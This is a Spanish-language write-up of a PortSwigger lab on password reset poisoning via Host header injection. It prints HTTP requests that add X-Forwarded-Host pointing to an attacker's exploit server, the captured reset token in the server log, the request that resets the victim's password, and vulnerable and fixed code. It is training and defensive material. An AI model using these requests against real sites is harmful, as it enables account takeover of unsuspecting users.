← Writeups

Password Reset Poisoning via Middleware — Host Header Injection — PortSwigger Lab

Envenenamiento del flujo de reset de contraseña inyectando la cabecera X-Forwarded-Host para que el token temporal se envíe al exploit server del atacante.

Password Reset Poisoning via Middleware

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable POST /forgot-password
Root cause El middleware confía en la cabecera X-Forwarded-Host para construir la URL del enlace de reset, permitiendo al atacante recibir el token temporal

El backend genera el enlace de restablecimiento concatenando el host recibido de una cabecera de reenvío sin validar que pertenezca al dominio legítimo. Inyectando X-Forwarded-Host, la URL del token se envía al servidor del atacante, que lo captura y completa el reset de la contraseña de la víctima.

2. Technical Breakdown & Exploitation Flow

2.1 Benchmark del flujo legítimo

Con las credenciales wiener:peter se verifica el flujo normal: al solicitar el reset, el correo de la víctima recibe una URL construida por el backend con el parámetro temp-forgot-password-token (token temporal) y los campos new-password-1 y new-password-2.

2.2 Inyección de X-Forwarded-Host

Se reenvía la solicitud de reset hacia carlos añadiendo la cabecera X-Forwarded-Host apuntando al exploit server:

POST /forgot-password HTTP/2
Host: <LAB-ID>.web-security-academy.net
X-Forwarded-Host: exploit-0ab5002c04885d218019026601110039.exploit-server.net
Content-Type: application/x-www-form-urlencoded

username=carlos

El middleware construye el enlace de reset con el host inyectado y el correo de carlos no se usa: el token viaja al servidor del atacante.

2.3 Captura del token temporal

En los logs del exploit server aparece el GET con el token:

10.0.4.129      2025-12-16 13:56:08 +0000 "GET /forgot-password?temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5 HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

2.4 Reset de la contraseña

Con el token en posesión del atacante, se completa el restablecimiento:

POST /forgot-password?temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5 HTTP/2
Content-Type: application/x-www-form-urlencoded

temp-forgot-password-token=bdv3fccxflv4gu95l9c8nq4yojggips5&new-password-1=test&new-password-2=test

El cambio de contraseña de carlos queda bajo control del atacante, que inicia sesión con la nueva credencial.

3. Root Cause Analysis

El defecto está en la construcción de la URL del enlace de reset: el backend usa el host de X-Forwarded-Host (o X-Forwarded-Proto/Host) sin lista blanca de dominios permitidos. La confianza en cabeceras de reenvío es la causa raíz — un classico Host Header Injection que deriva en password reset poisoning.

# Implementación vulnerable
reset_url = f"https://{request.get_header('X-Forwarded-Host', request.host)}/forgot-password?temp-forgot-password-token={token}"
send_email(victim, reset_url)   # ❌ Host controlado por el atacante

El token nunca se vincula a un origen esperado; el correo se envía a la víctima pero el enlace apunta al atacante.

4. Secure Remediation

Ignorar las cabeceras de reenvío y derivar el host exclusivamente de la configuración del servidor:

# Implementación segura
ALLOWED_HOSTS = {"<LAB-ID>.web-security-academy.net"}

if request.host not in ALLOWED_HOSTS:
    deny()   # Rechaza Host arbitrario e ignora X-Forwarded-Host
reset_url = f"https://{CONFIG.app_base_url}/forgot-password?temp-forgot-password-token={token}"

Defensa en profundidad: validar en el proxy que las cabeceras X-Forwarded-* solo se acepten desde proxies de confianza, y vincular el token al usuario en el servidor (ver Password reset broken logic).